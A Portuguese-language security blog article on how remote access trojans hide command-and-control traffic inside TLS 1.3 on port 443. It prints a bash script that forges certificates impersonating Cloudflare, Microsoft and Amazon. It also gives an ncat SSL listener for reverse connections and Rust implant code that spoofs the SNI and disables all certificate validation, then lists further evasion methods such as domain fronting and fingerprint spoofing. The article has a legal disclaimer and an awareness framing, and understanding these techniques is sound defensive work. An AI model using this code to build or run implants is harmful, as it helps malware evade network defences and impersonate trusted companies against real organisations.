Voltar aos artigos
Advanced

Minha Experiência Sobre Como a Comunicação de RATs Funciona

Neste artigo, compartilho minha experiência e insights sobre como a comunicação de Remote Access Trojans (RATs) funciona. Como RATs estabelecem uma conexão TLS pela porta 443, criando uma técnica de evasão para burlar medidas de segurança de rede.

@0xrafasecMarch 15, 2026malware_and_re

Available in English

Share:

Minha Experiência Sobre Como a Comunicação de RATs Funciona

Legal & Ethical Disclaimer

This content is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.

DO
  • Use these techniques on systems you own or have explicit written permission to test
  • Practice in authorized lab environments (VulnHub, HackTheBox, DVWA, etc.)
  • Follow responsible disclosure practices when finding vulnerabilities
  • Use knowledge for defensive security and authorized penetration testing
DO NOT
  • Access systems without explicit authorization
  • Use these techniques for malicious purposes
  • Deploy exploits against production systems you don't own
  • Share working exploits for unpatched vulnerabilities

Legal warning

Unauthorized access to computer systems is illegal in most jurisdictions (e.g. CFAA in the US, Computer Misuse Act in the UK). Violators may face criminal prosecution and civil liability. The author and publisher assume no liability for misuse of this information. By continuing, you agree to use this knowledge ethically and legally.

Desenvolver um RAT começa com uma consideração cuidadosa das técnicas de evasão em todas as principais superfícies de detecção: ofuscação, detecção estática de arquivos e, o mais crítico na minha visão, a comunicação de rede. Entender como firewalls e IDS funcionam em sua essência e o que engenheiros de segurança estão tentando prevenir nos permite construir defesas melhores. Como defensores, focamos em reduzir a superfície de ataque eliminando protocolos desnecessários e monitorando conexões não autorizadas. Então precisamos perguntar: como aproveitamos os protocolos essenciais que são inerentemente difíceis de bloquear?

Muitos protocolos essenciais existem em um servidor, como SSH (22), IMAP (143/993), FTP (21) e HTTP (80). Mas qual é o protocolo mais importante em um servidor além do 443 (HTTPS)? Na minha perspectiva, essa porta lida com quase toda operação vital: servir websites, gerenciar atualizações do servidor e suportar conexões de múltiplas aplicações (relatórios de crash, telemetria, etc.). Isso resulta em uma quantidade massiva de transações passando por um único túnel, e a melhor parte é que ele foi projetado para ser mais seguro que o HTTP, com todos os dados criptografados usando certificados. Pense nisso — o que poderia dar errado?

Agora, começamos a considerar como explorar essa área "perfeita", transformando suas próprias forças em vantagem para nós como atacantes. Afinal, se os dados estão criptografados, torna-se impossível para outros verem o que estamos realmente transacionando.

Entendendo o TLS

Primeiro, precisamos tomar algumas medidas para transmitir dados pela porta 443. Como é um protocolo TLS, precisamos atender aos requisitos e padrões; fazer isso envolve criar todas as funcionalidades necessárias.

O protocolo e o certificado possuem alguns itens críticos visíveis para um observador passivo, como PCAP ou IDS, e por essa razão, esta lista é o ponto de partida para spoofing e hacking na criação de um mecanismo de evasão.

Temos alguns exemplos:

  • SNI/ (Server Name Indication)
  • Campos do certificado
  • Dados
  • Criptografia do certificado
  • Suporte a ECH

Se estivéssemos usando HTTP, seria muito fácil detectar o ataque, já que tudo estaria trafegando em texto puro. O TLS 1.2, sendo mais seguro e protegido, abre alguma margem para uso, mas a verdadeira joia, na minha opinião, é o TLS 1.3. Diferencio os dois protocolos a seguir.

NomeTLS 1.2TLS 1.3
SNI (ClientHello)texto purotexto puro
Campos do certificadotexto purocriptografado
Dadoscriptografadocriptografado
Criptografia do CertificadoNãodisponível
Suporte a ECHNãodisponível

SNI (Server Name Indication)

É incluído no processo de handshake TLS/SSL para garantir que os dispositivos clientes consigam ver o certificado SSL correto para o website que estão tentando acessar. Em português claro, essa relação seria como o SNI "cloudflare.com" para o servidor, e o cliente valida que o SAN (ou CN) do certificado corresponde a ele.

Campos do certificado

Em uma criptografia TLS, temos os campos, e vamos considerar os campos X.509 do TLS 1.3, como:

  • CN (Common Name)
  • subjectAltName (SAN)
  • keyUsage / extendedKeyUsage
  • C, ST, L, O

Dados

Todo o tráfego é transferido de e para o protocolo. HTTP é texto puro e transparente, e sobre TLS é totalmente criptografado. Considerando o caso de hacking, os dados sendo criptografados são difíceis de sniffar ou alterar, mas também dão ao invasor a proteção necessária para ser blindado pelos mesmos olhos que querem proteger o sistema.

Criptografia do certificado

A criptografia transforma todas as informações em texto puro em uma série de blobs, fornecendo uma camada de proteção e tornando o pacote mais seguro. Trabalhando com Blockchain, lido com criptografia com mais frequência, mas idealmente, todos na indústria de TI deveriam entender suas capacidades e, neste caso, as nuances que tornam o certificado mais realista.

ECH

O ECH é responsável por criptografar todo o ClientHello, incluindo o SNI, usando a chave pública do servidor obtida via DNS (registro HTTPS). Isso torna o TLS 1.3 genuinamente superior para privacidade/evasão. Não apenas spoofing de SNI, mas ocultação de SNI.

É importante notar que, embora o ECH esteja disponível, sua adoção permanece muito limitada. A Cloudflare oferece suporte.

Aproveitando a proteção

Vamos analisar cada ponto que podemos torcer e agir sobre ele. Assumindo que usamos criptografia TLS 1.3, já podemos considerar algumas funcionalidades importantes.

  • A visibilidade do certificado é criptografada
  • A negociação de cipher é mais limpa, com menos metadados
  • Possui ECH, então o ClientHello (SNI) é oculto
  • Dados totalmente criptografados

Então vamos começar a dobrar as regras e contar algumas boas mentiras para nossos amigos na vigília (IDS, PCAP, Wireshark), certo?

SNI

Precisamos nos tornar mais confiáveis do que ter um SNI ausente/vazio. Então podemos ter, por exemplo:

  • Cloudflare Inc: sni.cloudflaressl.com
  • Microsoft Corporation: azure.microsoft.com
  • Amazon.com, Inc: cdn.amazonaws.com

Criptografia

Ao definirmos, por exemplo, Cloudflare, precisamos imitar o certificado deles, e para isso, precisamos usar a mesma criptografia, então estaríamos usando ECDSA P-256 ao invés do mais comum RSA 2048, criando um sinal de alerta para quem está escutando.

O certificado em si

Bem, esta é a parte que mais me interessa e gosto sobre a zona cinzenta. E podemos realmente criar as chaves com informações mais confiáveis, juntando tudo que foi discutido. Criei um script bash para isso, com Cloudflare como padrão e os outros certificados como opção.

bash
#!/bin/sh
# Gera um certificado TLS que imita um servidor edge da Cloudflare.
#
# Uso:
#   ./gen-cert.sh                          # padrão: parece Cloudflare
#   ./gen-cert.sh "Microsoft Corporation"  "azure.microsoft.com"
#   ./gen-cert.sh "Amazon.com, Inc."       "cdn.amazonaws.com"
#
# Saída: key.pem, cert.pem no diretório atual.

ORG="${1:-Cloudflare, Inc.}"
CN="${2:-sni.cloudflaressl.com}"
DAYS="${3:-90}"

set -e

openssl ecparam -name prime256v1 -genkey -noout -out key.pem

openssl req -new -x509 -key key.pem \
  -out cert.pem \
  -days "$DAYS" \
  -subj "/C=US/ST=California/L=San Francisco/O=${ORG}/CN=${CN}" \
  -addext "subjectAltName=DNS:${CN},DNS:*.${CN#*.}" \
  -addext "keyUsage=digitalSignature" \
  -addext "extendedKeyUsage=serverAuth"

echo "Generated key.pem + cert.pem  (${ORG} / ${CN}, ${DAYS} days)"

Se você analisar o código, verá que estamos respeitando as mesmas informações do cliente usual, então toda inspeção passiva de pacotes, firewalls e IDS podem ser enganados. A limitação é que uma inspeção TLS ativa mostra que, embora o certificado apresente informações mais realistas, ele é autoassinado, então não é o real.

Uma nota sobre AcceptAnyCert.

Isto é destinado para uso intencional neste implante C2, mas vale ressaltar explicitamente que ele desabilita toda validação de certificado e não deve ser reutilizado em código legítimo.

Conexão reversa

Na batalha de proteção vs. invasão, é muito mais comum ver portas fechadas no lado INBOUND (IN) do servidor, então tomamos a direção oposta. Ao invés de conectar ao servidor, pedimos para o servidor conectar a nós, e fazemos isso usando nosso certificado recém-criado.

shell
$ ncat --ssl --ssl-key key.pem --ssl-cert cert.pem -lvp 443

A conexão do RAT (host)

Neste caso, podemos definir o mesmo SNI para o mesmo SNI também. Exemplo de código Rust com essa conexão:

rust
pub fn build_tls_config() -> Arc<ClientConfig> {
    let provider = Arc::new(rustls::crypto::ring::default_provider());
    let config = ClientConfig::builder_with_provider(provider)
        .with_protocol_versions(&[&rustls::version::TLS13])
        .expect("TLS 1.3")
        .dangerous()
        .with_custom_certificate_verifier(Arc::new(AcceptAnyCert))
        .with_no_client_auth();
    Arc::new(config)
}

/// Conecta ao servidor C2 via TLS. Retorna o stream criptografado.
/// `sni` controla o Server Name Indication enviado no ClientHello (visível em texto puro).
/// Use um domínio benigno (ex: "cdn.cloudflare.com") para evitar expor o hostname real do C2.
pub fn connect(
    host: &str,
    port: u16,
    sni: &str,
    tls_config: &Arc<ClientConfig>,
) -> io::Result<TlsStream> {
    let addr = (host, port)
        .to_socket_addrs()?
        .next()
        .ok_or_else(|| io::Error::new(io::ErrorKind::InvalidInput, "could not resolve address"))?;

    let tcp = TcpStream::connect_timeout(&addr, CONNECT_TIMEOUT)?;
    tcp.set_read_timeout(Some(READ_TIMEOUT))?;

    let server_name = ServerName::try_from(sni.to_string())
        .map_err(|e| io::Error::new(io::ErrorKind::InvalidInput, e))?;

    let conn = ClientConnection::new(Arc::clone(tls_config), server_name)
        .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?;

    Ok(StreamOwned::new(conn, tcp))
}

Tenha em mente que o rustls produz uma fingerprint JA3/JA4 distinta que não corresponde a nenhum navegador, um vetor de detecção que abordamos abaixo.

Dependências para isso seriam

rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }

Com isso, fechamos a lacuna em ambos os lados de uma conexão RAT.

É só isso?

Não, na verdade, este é o começo, e precisamos continuar adicionando cada vez mais complexidade ao ataque. Alguns possíveis incrementos seriam:

Evasão de rede

  • Domain Fronting: Enviar tráfego TLS para um CDN (Cloudflare, Azure, Fastly) onde o SNI e o header HTTP Host apontam para backends diferentes.
  • Redirectors / Proxies C2: Colocar um proxy reverso entre o implante e o servidor C2 real. Se o redirector for queimado, pivotar para outro. O C2 real nunca é diretamente exposto.
  • Traffic Shaping / Timing: Detectores de anomalias de rede (Zeek, modelos ML do Suricata, Darktrace) sinalizam intervalos regulares de beacon. Um delay fixo de reconexão de 5 segundos é trivialmente identificável por fingerprint.
  • Protocol Tunneling: Tunelar tráfego C2 dentro de protocolos permitidos quando TLS/443 não está disponível ou está sendo inspecionado.

Evasão de Fingerprint TLS

  • JA3 / JA4 Fingerprinting: Todo cliente TLS produz uma fingerprint única baseada nos cipher suites, extensões e curvas elípticas que oferece no ClientHello. O rustls produz um hash JA3/JA4 distinto que difere dos navegadores.

Evasão de DNS

  • Fingerprinting de Resolução DNS: Quando o implante resolve --c2 via resolver do sistema, a query DNS é visível na rede. Consultar c2.evil.com é um IOC óbvio.
  • Correlação DNS Passiva: Plataformas de threat intel (VirusTotal, PassiveTotal, SecurityTrails) registram toda resolução DNS. Uma vez que o domínio C2 é conhecido, eles podem encontrar todos os IPs que já o resolveram.

Conclusão

Com esse conceito em mente, podemos começar a pensar em como dobrar as regras e proteger melhor nossos sistemas. Como sempre gosto de pensar, sistemas são mais frequentemente vulneráveis devido a uma combinação de fatores, mas alguns desses fatores são preveníveis. Alguns deles também são causados por falta de conhecimento ou consideração inadequada. Tendemos a pensar que somos melhores do que somos, e que o atacante não será tão meticuloso em sua invasão.

Minha ideia com este artigo é sempre trazer conscientização à comunidade sobre possibilidades reais e o que atacantes estão pensando, e não como um especialista, mas como alguém que está aprendendo e se importa em fazer as coisas melhor.

E você? O que está pensando?

Achou este artigo interessante? Siga-me no X e no LinkedIn.